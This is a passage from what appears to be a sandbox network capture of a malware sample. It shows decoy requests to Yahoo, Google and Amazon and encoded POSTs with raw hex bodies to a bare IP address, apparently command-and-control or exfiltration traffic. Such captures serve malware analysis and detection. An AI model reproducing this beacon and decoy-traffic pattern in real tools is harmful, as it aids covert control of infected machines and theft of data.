VuMQ%3D%3D;SSID=GU5OqkmVTOI9gubdKu%2F9d9d1%2Fw7l40gQFgvqyjuKJa9w1L8H8IPEyqvTzCZh5ZNF0kcV9pwa0LyRiCPEEiET64564%2BLQ6Uc7uZQRUBsIyHeLQMj0T71nj%2F8ZxBr7II1dSyWJy5pz5qeCb1%2BsoQ8LCZ1v4TgfNL8uZYdewfVbDz5uYeopGQPnBklfGZMnMzYVa8lYb9vGK9Hhfii6xZNl5GIkOhI2owNnKTmdRVgEoOn45w828KVXjt8zONTG0pGVFDbMfbja0j1p0gigWj7gTA6YDGr3rDEVyAwRsSB31LuGVE6Tg8GQ%2BruPQxDsS%2FE7ztg9Xg1fsW3v%2B%2BJ%2FK3wrtQ%3D%3D; X-Tag: TJG3U1G%2Fukj2EF9QhQo8z6aRICN%2BAeQR%2BaWQSVHgomPMpqKUVJX3wx8UBwnhC8h0Aby2B3TyVDcD5rTKBB0QhSyu1jwLx47iT%2FfB16lW82AT3O%2FFN4Xun%2BL7ZvS%2BbtInGBRNFBt%2FKowUsV96FNO%2BIvQve2j9cRKeRaVlqQgFZlwqelpWuMG6XBetHMw52s5nDNCEfx9dT5rMLMf8ous8Wh8gtYPt5%2FiWFmXi1oIrd64Ck93EaDB3%2BovT2gN9KObAb8Lbcrx%2B7pGSJwCwrSh%2FEn7U5uRw75ZKfwnbTWcbYiLtS6VCKdz7rVvp%2B0%2BwuSLDQZVdtItsUJg%2FetiyS%2B8www%3D%3D X-Csrf-Token: %2BskM04lKVPXWUIpbgi4PXtG3CjItfItgmMp2zaIERDlyFYMJ9mGAhX4MOaTqZWUvGvoK0e7El4z5NIsXZuFa3adc8F0x0bQjCoEuO3nVMKB9F5EuWLTm1tFHEHaEiujutupzpfPAGITMwtq60mOWHJ3Qzc%2BmGF5mn6lTbfJ8RxbvDxcLxLzciMCnVOCfKqQloJirX%2FJrmFfy%2ByFVBSEB9%2BjrvJSRxXZja0Xbdi01ean5TWWePix6aqXJjN%2FXyduRjZlVtfljF3MYxJ%2BfB4LP9K5czCJ1VBFbDcBCtd4%2FHq%2BNUXagjc6Kg7r8o8mguFzn%2FvEZWEzTFZ4%2BD%2FTwssWmfA%3D%3D X-Request-ID: 1kURiweW%2FeufQg5qrSOl9CNOZfEqVfMJx4l%2BTBI4KrU5E4HkvOTcVeKDqbc1kN2W7%2BoqjesUBXvuahGcs5YC%2FIhJbgAEVErx1Y54xeC7J4lBO0c247vikNsRXAftd3pxnff4WX6qleLvxNo353ESflZ3i0NAH5r92R2voM1%2B1sBEAqC2Ssy8RwOVbTu8Cb95GSKuR90MqqVftE%2FhMr6DbdHCLmcEhBME2qEb5LZ1mXLk1sx7GviwmU%2Fd4IeL%2F%2BdIJFEn2%2FYShlP2oXc7tR%2FoqDrXttjD1YtLa94sWKdcuUQfmsL7WeWRtohQteaEqLJhmfjIn54he8lRL%2B1IFLRYxA%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 14336 Cache-Control: no-cache
2021-09-28 07:54:11 UTC	994	OUT	Data Raw: 51 a7 6b 0e 5b 25 51 aa 92 4a d3 7f 95 a1 fe 04 c3 1d 7b ce 6f 1c 0f fc 55 a5 c9 70 7d 50 b2 3a 16 15 02 6a c2 66 d8 80 25 fc e0 aa d0 78 bd 8b a8 2f 75 21 09 e3 79 49 a3 50 3c 27 b2 6d 6c 52 b2 ca 77 0a a8 a3 71 26 0f ce d2 e5 86 33 a7 ec f2 34 8d 7b 83 c3 fe 89 ef 3b 41 48 ff d7 1a 09 d8 0e 61 1c 42 c5 5b 12 e1 5c b3 c8 01 25 85 75 e5 76 0d cd 0a f7 57 1f e0 29 54 1c dd c7 41 74 1a 56 c8 f6 25 3a 72 2b 5d 6a 7a 3c 1d 90 36 c5 a7 f9 aa 77 ef 7f e9 50 fd 01 74 4c 86 09 03 1d c8 e5 0e 95 82 27 9c b7 35 b3 d8 b5 76 58 c8 2d 4c af a3 10 cd 1e dc 80 ee f7 00 5c 4d aa 6d 4c 23 ca ae 28 e0 22 77 2d 8d fd 5f 14 89 c5 48 6f b9 be 4b 46 c4 62 2a 39 10 c3 7a 91 5a b6 c1 36 57 99 5c 0a 54 3e 9b 84 bf 28 a3 b4 0e 7a 04 fa a4 21 31 76 94 10 18 e6 8c c8 3f 7d f0 7e 0e Data Ascii: Qk[%QJ{oUp}P:jf%x/u!yIP<'mlRwq&34{;AHaB[\%uvW)TAtV%:r+]jz<6wPtL'5vX-L\MmL#("w-_HoKFb*9zZ6W\T>(z!1v?}~
2021-09-28 07:54:14 UTC	1019	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:13 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49982	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:11 UTC	1008	OUT	GET /bee595xzwjrurdT1L7zJ4suumRmpeqlGAsgb/hktc7sZqKowgs8bsiqn516jf0kyRg3nf4oBp/uswH14uVg3r5E7f6mdeem9plepu6gbr/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:54:11 UTC	1008	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:54:11 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 784 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=8d04vs9gl5ih3&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:54:11 UTC	1010	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 31 31 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:54:11 UTC	1010	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 62 65 65 35 39 35 78 7a 77 6a 72 75 72 64 54 31 4c 37 7a 4a 34 73 75 75 6d 52 6d 70 65 71 6c 47 41 73 67 62 25 32 66 68 6b 74 63 37 73 5a 71 4b 6f 77 67 73 38 62 73 69 71 6e 35 31 36 6a 66 30 6b 79 52 67 33 6e 66 34 6f 42 70 25 32 66 75 73 77 48 31 34 75 56 67 33 72 35 45 37 66 36 6d 64 65 65 6d 39 70 6c 65 70 75 36 67 62 72 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fbee595xzwjrurdT1L7zJ4suumRmpeqlGAsgb%2fhktc7sZqKowgs8bsiqn516jf0kyRg3nf4oBp%2fuswH14uVg3r5E7f6mdeem9plepu6gbr%2f';if(window!=window.top){

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49984	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:12 UTC	1011	OUT	GET /0kwe30rMphmtjkotatbsS6filoatkf6XrLqawrupaq9hQam/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:12 UTC	1011	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1609 Date: Tue, 28 Sep 2021 07:54:12 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:12 UTC	1011	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:12 UTC	1012	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49986	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:12 UTC	1013	OUT	GET /vuKkY208Vdrn5v8g2vr8i5ifVj/enkwnjj0ihgc2sTh5qo58zU8pfa6/yfIz0cq71g991s62pv1rN0f6tGqi6r2su2/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:54:13 UTC	1013	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1652 Date: Tue, 28 Sep 2021 07:54:13 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:54:13 UTC	1013	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:54:13 UTC	1014	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49988	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:13 UTC	1015	OUT	GET /bkS2zfojrloxax42q7ywl9NnxJz2Eth/FixcrDy0zK7eo0uh2qc1a/5neU64IDq7Ad4ivg6l4/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:13 UTC	1015	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:13 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: K12P08GMB9GV08Z313AK x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:13 UTC	1016	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49989	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:13 UTC	1017	OUT	GET /u75Pfq2dt3xK1b7dUjctykht8u6/G6voyzSs8XJz88sl5jBdTwfqU440qHp4uibd/hjJobBxzi2M5d1xwABJAlxkt/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:13 UTC	1017	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:13 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: 889GY4FS1EBGKMM5S9R6 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:13 UTC	1018	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49991	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:15 UTC	1019	OUT	POST /feed/news/last HTTP/1.1 Cookie: HSID=GevVRJ4QAqlO4liyf4bgoE%2FV5yXjPJMzQYXTlhYctJxsKB8NrEb8B%2FZoFvPH3vdQSan3ZBFVJzslGwaJwQORuk3Lzu89qjXCTVhSklOhrrdKSfeTMq059qqlhXTZ4h2U9QHGYia3pOImcdzZt91FL4rj1fE%2Fw8zB61uTxSWETcELliITwNrRUvTidoXWpjZEftcNXxYaSE6oqP%2FyZTztxWcwhfX%2FXPu8vaZAMaanBelDjrwVexLyVk99zMabrS4appWWxPaCJ3TG1Jz0%2BnTxI28QBg2gpDsJKYD5IWxvX0cyktfM9X3zT4z5MIoqSuonSlGtqzdo9PeBe3wX3E0IPQ%3D%3D;SIDCC=Mk7RvHDdaCBjm1pDCIGo2dbUeMYWysejL1q1Wuxi%2F7DnrRX5u%2F5a3xB13a9okE5ecFLIqsNqtp0X%2B5KUb4Z3wx7omvelbV6XbINLkas8k3a2sMzl%2F815YYMjBzAOxdt9PKlbctCfIS2FX5ZkamTX9BGHNjkgHyVByp2uC3rKKZZsYw%2BcDnzxlhuMoCrzQw3qpioqgBmipWCPXdNxdgdOi3LE1UjK1D61rQUzRfbuFceCX2G3HByyEnX5DxouLENzB14K7DgOTUkwXuH7O3Hc98RKC9eEOFMYI2plWlHZgE4JVM0ttByH0x9%2FTVNvpotoKDFFM%2BM9psMjNLRPAcGwww%3D%3D;SID=POpOUe7erofYxd%2F7h0WrdT7bVNA7bE%2Faf12XwLVuv5V5PV8Gff5WWlq3xg1krC504u5zqLhUTPjGN5ji3n8NYEnzmAzY86vLW15wOSwLVEz6hfPyFqbCHIifRt7UK0t1%2FFoaXbfeWif0R7DwPqrQJLcc90dOQ90OP1Q8PKHCwmjxEOaMn8PjFIqlwZAH24C%2Fcmwni8wEGMDo3RL3%2FIkdAMr%2BeBwAkMZ4Lvywlrt8DSGgHKThQPtCuVJGIMs1xyw8NZhovLYlyK74ujaJMj4x1dz7KR%2BaGhIkeCwEvNwKicgi4D0EQ6thm7dmtvYQHnJpKTvzxC6%2BsVxZS7ozqwsoKg%3D%3D;SSID=%2BRHLGLD1Ya98Bv9p9yTdWCMS9Lm8ui88ANVXY81HY%2BoSWohn79HxFWnQlQs0fv0vAEXeo39halr5Jdu0cNRekHabu7mBvkYO0yXzUTA%2FERpCsiUabunGSemg7mMO5IlF7aUZAqmV5kmaGFCM7HyeVq9f4JB8%2B6h3cKPtc8Qt1P3AAdnoiA4WNxMFs1XvzSwm7yvdWrNRdY6RflHNEUW0nMh569LmCfkNa7arpTOLxz0kjZ1%2BTm3ATvVvFawKjOsXcBnzT2mqVa7o%2BQQ%2FxFnrzZtEJqkkKOpxklC4SDnZtLfRKetGGZNsJ2uGGxT%2BbWMa%2Bs3QLP8bQH4J17MyyDTI1A%3D%3D; X-Tag: %2FEoHdubbIekg9oeBY8hQvYNfxWUTRQCBwSavv5YwN0f2TvFksthi3t9eRyjz3kF3Glae%2F291nNiWJnP7JOakQDzkW1%2F4q5wm3jrM1vJ9ZU4WednUS%2Bn94Yzn8qPQejc4sGJVf%2BxNgS8C7b4vmfONXH2xSb%2F6nOPh%2BTdDRoya7XGBotVRoUxAb53Lb51WrXijuE6RretngMzh74VQSO9CG3BlGTsuBwk3XUeH3UzbqLUtYW2SnT8grcCNKyYtFVMNAUsgwlKZOwesGMy4Jj8CT2yNWZ%2BeccYlvnXq9%2BnKQuLz3uJwCuaStHpyIQO8a%2FkF1qFCsDpcCBJDc%2Bxpxvr5jg%3D%3D X-Csrf-Token: 4XWAEgVt%2FOYSdyHfqB%2FxhRWSSs%2FWk01wbaH%2BiJVgTINw5%2BxaAMPhdLUISrVDtjq%2BsshK7og%2BDdeDjlzFeGXT2DKDLLl4F40kk2%2Fx7NsMZXBiUsXz2x6QHqIiaYlO9jXPum3bCeh9afh%2BSYsAzapIGKMRwjeLWi3RvA3Qss6WOGmX87O%2F0312h6fBfB%2FV32Z7gL8Nv3xV2vaVH%2F%2FS7TrWHyrPIiitzJH0i%2Fw3CpbUASJUBrzMQfMU3WxFsTaKWYSfom2h0j3GOOxa7z6wWd289V%2BGiuXDbhLK5q%2F5NxgkpTI6hau7jKTmUlkNA0sUa6rDxFGuTaMRACq%2FMupigtjaJA%3D%3D X-Request-ID: 8HzylSadvktL1fN9dy1KhIoEuWOTGXU%2FhDm%2FU1uLyA45nnhs6zmHFRFSqryyVgJSPEylka8FwJUFmFwN1VZCBILYnQiBEzfDQ5YYOslzmULhKmWrUsRF9ytrxgsDJbEnJpSUKHwSDiRmWjJnlY2DeybWRViPxNE7K5mP%2BTLqqEVAMiEuOmMgBSd4ohLWtmSu2ce86OoACwWwVO4oJmgLL1%2F9dslWzkW8Arqj%2Fvk7Jb45WsAbEI7F2x4wPx14Lpt64FhtUrr4tAIMyVajNvrcikzl9Obaw3q901fdCV16f9Ki8AGq4ZLqX3QBTjWEsD1NkaDAPTAXqVCStEnnGOY6vQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
